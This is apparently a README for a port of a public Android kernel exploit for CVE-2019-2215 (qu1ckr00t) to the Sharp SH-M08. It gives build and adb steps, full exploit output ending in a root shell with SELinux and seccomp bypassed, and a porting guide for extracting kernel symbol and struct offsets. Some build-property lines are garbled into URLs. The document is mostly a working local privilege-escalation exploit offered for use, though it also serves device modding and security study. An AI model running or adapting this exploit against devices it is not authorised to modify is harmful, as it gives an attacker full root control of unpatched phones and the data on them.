This is a port of the proof-of-concept code for obtaining root privileges on Android devices with security patches prior to October 2019, ported to AQUOS sense 2 (SH-M08).

Operating Environment

Operation has been confirmed on the following OS versions. To run on other versions or other devices, follow the "Porting Method" section.

[ro.build.date]: [2019年  3月 20日 水曜日 04:58:03 JST]
[ro.build.description]: [Anasui-user 8.1.0 S3200 01.00.02 release-keys]
[ro.build.display.id]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/HEAD/%5B01.00.02%5D
[ro.build.fingerprint]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/HEAD/%5BSHARP/SH-M08/SH-M08:8.1.0/S3200/01.00.02:user/release-keys%5D
[ro.build.id]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/HEAD/%5BS3200%5D
[ro.build.product]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/HEAD/%5BAnasui%5D

Build Method

aarch64-linux-android21-clang -pie poc.c -o poc

How to Obtain Temporary Root

$ adb push poc /data/local/tmp
$ adb shell

SH-M08:/ $ /data/local/tmp/poc shell
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: Finished write to FIFO.
writev() returns 0x2000
PARENT: Finished calling READV
current_ptr == 0xffffffc0617bb800
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
recvmsg() returns 49, expected 49
should have stable kernel R/W now :)
current->mm == 0xffffffc0a8e1f840
current->mm->user_ns == 0xffffff8009e225d8
kernel base is 0xffffff8008280000
&init_task == 0xffffff8009e16000
init_task.cred == 0xffffff8009e23dd0
init->cred
00000000  04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000030  ff ff ff ff 3f 00 00 00 ff ff ff ff 3f 00 00 00  |....?.......?...|
00000040  ff ff ff ff 3f 00 00 00 00 00 00 00 00 00 00 00  |....?...........|
00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000070  00 00 00 00 00 00 00 00 80 35 3e 5a c0 ff ff ff  |.........5>Z....|
00000080  70 25 e2 09 80 ff ff ff d8 25 e2 09 80 ff ff ff  |p%.......%......|
00000090  78 3e e2 09 80 ff ff ff 00 00 00 00 00 00 00 00  |x>..............|
000000a0  00 00 00 00 00 00 00 00 a7 01 00 00 00 00 00 00  |................|
000000b0  e0 ff ff ff 0f 00 00 00 88 3e e2 09 80 ff ff ff  |.........>......|
000000c0  88 3e e2 09 80 ff ff ff 84 c9 0c 08 80 ff ff ff  |.>..............|
current->cred == 0xffffffc0a9b549c0
Starting as uid 2000
current->cred
00000000  19 00 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00  |................|
00000010  d0 07 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00  |................|
00000020  d0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000040  c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 00 00 00 00 00 af 0f aa c0 ff ff ff  |................|
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000070  00 00 00 00 00 00 00 00 00 91 bf 36 c0 ff ff ff  |...........6....|
00000080  80 ce db a4 c0 ff ff ff d8 25 e2 09 80 ff ff ff  |.........%......|
00000090  80 14 f8 a4 c0 ff ff ff 00 00 00 00 00 00 00 00  |................|
000000a0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
000000b0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
000000c0  c0 40 b5 a9 c0 ff ff ff 00 00 00 00 00 00 00 00  |.@..............|
00000000  00 00 00 00 00 00 00 00 fe ff ff ff ff ff ff ff  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
init->security_cred
00000000  01 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
current->security_cred
00000000  ee 03 00 00 ee 03 00 00 00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
Escalating...
UIDs changed to root!
Capabilities set to ALL
SELinux status = 0
SELinux is already in permissive mode
Re-joining the init mount namespace...
Re-joining the init net namespace...
SECCOMP is already disabled!
------------------
00000000  1b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000030  ff ff ff ff 3f 00 00 00 ff ff ff ff 3f 00 00 00  |....?.......?...|
00000040  ff ff ff ff 3f 00 00 00 00 00 00 00 00 00 00 00  |....?...........|
00000050  00 00 00 00 00 00 00 00 00 af 0f aa c0 ff ff ff  |................|
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000070  00 00 00 00 00 00 00 00 00 91 bf 36 c0 ff ff ff  |...........6....|
00000080  80 ce db a4 c0 ff ff ff d8 25 e2 09 80 ff ff ff  |.........%......|
00000090  80 14 f8 a4 c0 ff ff ff 00 00 00 00 00 00 00 00  |................|
000000a0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
000000b0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
000000c0  c0 40 b5 a9 c0 ff ff ff 00 00 00 00 00 00 00 00  |.@..............|
Spawning shell!
SH-M08:/ #

Porting Method

Obtain the kernel binary

Obtain the kernel currently running on the device. There are two methods:

Extract from OTA If there is a boot.img or recovery.img in the OTA update, obtain it from there. Make sure it is the same file as the version currently in use. You can also extract Google OTA using the following tool: https://github.com/mouseos/android-checkin-py.git From boot.img etc., you can extract zImage using abootimg. zImage can be converted to vmlinux using extract-vmlinux.
Build the kernel Build the kernel source officially released. Use the same defconfig as the currently running device. Do not modify the code during build as much as possible. After the build is complete, vmlinux should be created.

Extract required offsets

First, use the nm command to find the following offsets.

$ nm -n ./vmlinux | grep ' _head$'
ffffff8008080000 t _head
$ nm -n ./vmlinux | grep ' init_user_ns$'
ffffff8009c225d8 D init_user_ns
$ nm -n ./vmlinux | grep ' init_task$'
ffffff8009c16000 D init_task
$ nm -n ./vmlinux | grep ' init_uts_ns$'
ffffff8009c15dc0 D init_uts_ns
$ nm -n ./vmlinux | grep ' selinux_enforcing$'
ffffff8009de2000 D selinux_enforcing

Calculate the constants using the following formula {value of each offset} - {value of _head} For example, in the above case, the constants are as follows:

#define SYMBOL__init_user_ns 0x1BA25D8
#define SYMBOL__init_task 0x1B96000
#define SYMBOL__init_uts_ns 0x1B95DC0

#define SYMBOL__selinux_enforcing 0x1D62000

Next, find the structure offsets using the pahole command

$ pahole -C task_struct vmlinux | grep -E ' mm;'
        struct mm_struct *         mm;                   /*  1336     8 */

Converting 1336 to hexadecimal gives 0x538

Therefore #define OFFSET__task_struct__mm 0x538

$ pahole -C task_struct vmlinux | grep -E ' cred;'
        const struct cred  *       cred;                 /*  1944     8 */

Converting 1944 to hexadecimal gives 0x798

Therefore #define OFFSET__task_struct__cred 0x798

$ pahole -C mm_struct vmlinux | grep ' user_ns;'
        struct user_namespace *    user_ns;              /*   752     8 */

Converting 752 to hexadecimal gives 0x2f0

Therefore #define OFFSET__mm_struct__user_ns 0x2F0

Troubleshooting

pahole: file 'vmlinux' has no supported type information.

$ pahole vmlinux
libbpf: failed to find '.BTF' ELF section in vmlinux
pahole: file 'vmlinux' has no supported type information.

vmlinux does not contain the information needed for pahole to analyze it. In this case, analysis is impossible, so use the kernel you built yourself from the manufacturer's published source.

Device crashes

Some offset is incorrect.

Does not work

It does not work on OS versions with security patches after October 2019.

Copyright Information

qu1ckr00t

This code is developed based on the POC created by Grant H. https://github.com/grant-h/qu1ckr00t

cve-2019-2215_SH-M08

Most Popular

SYMBOL__init_user_ns	0xffffff8009c225d8	0x1BA25D8
SYMBOL__init_task	0xffffff8009c16000	0x1B96000
SYMBOL__init_uts_ns	0xffffff8009c15dc0	0x1B95DC0
SYMBOL__selinux_enforcing	0xffffff8009de2000	0x1D62000